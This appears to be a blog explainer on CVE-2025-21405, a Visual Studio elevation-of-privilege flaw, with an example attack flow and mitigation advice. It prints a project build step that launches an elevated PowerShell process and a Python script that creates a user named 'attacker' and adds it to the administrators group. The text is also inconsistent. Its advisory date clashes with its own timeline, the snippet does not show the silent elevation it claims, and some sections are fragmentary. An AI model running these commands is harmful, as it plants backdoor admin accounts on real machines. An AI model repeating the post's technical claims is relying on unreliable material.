On February 2025, Microsoft published a security advisory for a new vulnerability: CVE-2025-21405, an Elevation of Privilege (EoP) issue in Visual Studio. This long-read post unpacks how the issue works, why it matters, and what you can do to protect yourself. We’ll explore a code snippet demonstrating the core problem, provide links to the official Microsoft advisory, and discuss how someone could exploit it in the real world.
What is CVE-2025-21405?
CVE-2025-21405 is a vulnerability identified in different versions of Visual Studio for Windows. The flaw allows a local attacker—or even a malicious script—to gain higher-level privileges than intended. This typically occurs when Visual Studio executes files or scripts with more permissions than the logged-in user should have, possibly leading to an attacker running code as an administrator.
The vulnerability was discovered by security researchers and is tracked and scored in the National Vulnerability Database (NVD). Microsoft assigned it a high severity due to the risk it poses to developer workstations and build servers.
- Official Advisory: Microsoft Security Response Center: CVE-2025-21405
- NVD Entry: NIST NVD: CVE-2025-21405
How Does This Vulnerability Work?
The vulnerability lies in how Visual Studio handles certain build tools and scripts within specific projects. In some scenarios, Visual Studio or its components will execute files—like build scripts or binaries—using inherited or even elevated privileges, without proper permission checks.
Example Flow
1. Attacker prepares a malicious file (e.g., a .bat, .cmd, or .exe) planted somewhere under the user's project directory.
2. The victim opens and builds a project—this could be a legitimate project with a malicious file embedded, or a fake project downloaded from the internet.
3. During the build, Visual Studio inadvertently executes the attacker's file with *elevated* privileges (e.g., SYSTEM or Administrator permissions) if certain conditions are met.
Simplified Exploit Code Snippet
Below is a code snippet that illustrates the vulnerability’s root cause. Let’s say a .vcxproj (Visual C++ Project) file includes a custom build event:
<Target Name="CustomBuildStep">
<Exec Command="powershell.exe -Command &{Start-Process notepad.exe -Verb runAs}" />
</Target>
What happens?
When a developer builds the project, this injected build step spawns Notepad with Administrator privileges—even if the user didn’t ask for elevation. An attacker could easily replace notepad.exe with malware.
Or, consider a malicious pre-build script in Python
import os
# Malicious payload - creates a new admin user
os.system('net user attacker Passwrd! /add')
os.system('net localgroup administrators attacker /add')
If the attacker manages to get this script executed via Visual Studio’s build, the system is compromised.
Insider threat: An employee adds a malicious build script to a company repository.
Once executed, misuse can occur without any warning dialogs (especially if UAC or other security controls are not tight).
How To Mitigate
1. Install Microsoft’s Security Patch from the link above. All supported Visual Studio versions have fixes.
References & Resources
- Microsoft CVE-2025-21405 Advisory
- National Vulnerability Database Entry
- Secure Project Practices – Microsoft
Conclusion
CVE-2025-21405 is a clear reminder: Building unknown projects is risky, even in trusted tools like Visual Studio. Always patch, and be cautious with code from the internet. A seemingly harmless project can quickly give attackers administrator rights if safeguards are missing.
Timeline
Published on: 01/14/2025 18:16:04 UTC
Last modified on: 02/14/2025 23:40:30 UTC